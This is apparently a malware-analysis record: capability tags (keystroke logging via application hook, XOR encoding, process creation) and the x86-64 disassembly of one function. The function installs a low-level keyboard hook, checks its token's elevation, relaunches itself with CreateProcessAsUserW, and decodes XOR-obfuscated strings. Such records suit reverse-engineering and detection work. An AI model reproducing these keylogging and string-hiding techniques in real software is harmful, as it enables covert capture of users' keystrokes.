Function at 0x140004680
Capabilities:
Accept command line arguments
Create process on windows
Encode data using xor
Log keystrokes via application hook
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x48]
sub rsp, 0x140
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x140138040]
xor rax, rsp
mov qword [rbp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x1400035a0]
mov ecx, 0xd
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [0x1401767a8], rax
test rax, rax
jne 0x1400046dd
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor esi, esi
mov edi, esi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x60]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400047e8
lea rax, [rbp - 0x54]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp - 0x58]
mov edx, 0x1a
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140004731
mov edi, 1
mov ebx, dword [rbp - 0x54]
jmp 0x140004739
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1400047f0
cmp dword [rbp - 0x58], esi
jne 0x140004800
lea rcx, [rsp + 0x60]
call fcn.140081010
test eax, eax
jne 0x1400047f4
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x50], rcx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, rax
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x1400047d3
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400047f0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test ebx, ebx
je 0x140004800
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movsd xmm0, qword [0x140117fd8]
movsd qword [rsp + 0x60], xmm0
movzx eax, word [0x140117fe0]
mov word [rsp + 0x68], ax
cmp byte [0x140117fe1], sil
je 0x140004855
mov byte [rsp + 0x60], 0x43
xor byte [rsp + 0x61], 0x3a
xor byte [rsp + 0x62], 0x3b
xor byte [rsp + 0x63], 0x3c
xor byte [rsp + 0x64], 0x3d
xor byte [rsp + 0x65], 0x3e
xor byte [rsp + 0x66], 0x3f
xor byte [rsp + 0x67], 0x40
xor byte [rsp + 0x68], 0x41
xor byte [rsp + 0x69], 0x42
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
lea rax, [rsp + 0x60]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x140004873
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.140001450
nop
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rcx, qword [rbp - 0x80]
call fcn.1400035c0
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x1400048dd
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400048d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400048d8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f6564
movups xmm0, xmmword [0x140118048]
movups xmmword [rbp - 0x80], xmm0
movzx eax, word [0x140118058]
mov word [rbp - 0x70], ax
mov edi, dword [0x140138098]
movdqa xmm6, xmmword [0x140121430]
cmp byte [0x140118059], 0
je 0x140004a70
mov r8d, esi
cmp edi, 2
jl 0x140004a37
movdqa xmm4, xmmword [0x140121360]
movdqa xmm3, xmmword [0x140121480]
movdqa xmm5, xmmword [0x1401213c0]
movdqa xmm0, xmmword [0x1401214a0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140004950
cmp r8d, 0x12
jge 0x140004a70
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140004a41
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
lea rax, [rbp - 0x80]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140004a90
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x60]
call fcn.140001450
nop
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rcx, qword [rsp + 0x60]
call fcn.1400035c0
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140004b00
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004afb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004afb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f6564
movups xmm0, xmmword [0x140117fe8]
movups xmmword [rbp - 0x80], xmm0
mov eax, dword [0x140117ff8]
mov dword [rbp - 0x70], eax
cmp byte [0x140117ffb], 0
je 0x140004c7b
mov ecx, esi
cmp edi, 2
jl 0x140004c44
movdqa xmm4, xmmword [0x140121360]
movdqa xmm3, xmmword [0x140121480]
movdqa xmm5, xmmword [0x1401213c0]
movdqa xmm0, xmmword [0x1401214a0]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rbp - 0x7c]
mov r8d, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140004b60
cmp ecx, 0x14
jge 0x140004c7b
movsxd rax, ecx
lea r8, [rbp - 0x80]
add r8, rax
nop
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x14
jl 0x140004c50
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
lea rax, [rbp - 0x80]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140004c90
mov r8, rbx
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x60]
call fcn.140001450
nop
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rcx, qword [rsp + 0x60]
call fcn.1400035c0
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140004d02
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004cfd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004cfd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f6564
call fcn.140003a80
test al, al
jne 0x140004d3d
mov rcx, qword [0x140175550]
test rcx, rcx
je 0x140004d1d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140176580]
test rcx, rcx
je 0x140004d2f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x140176592], 0
je 0x140004d3d
call fcn.1400802a0
mov rcx, qword [0x1401767a8]
test rcx, rcx
je 0x140004d56
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov qword [0x1401767a8], rsi
xor eax, eax
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.1400f62c0
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret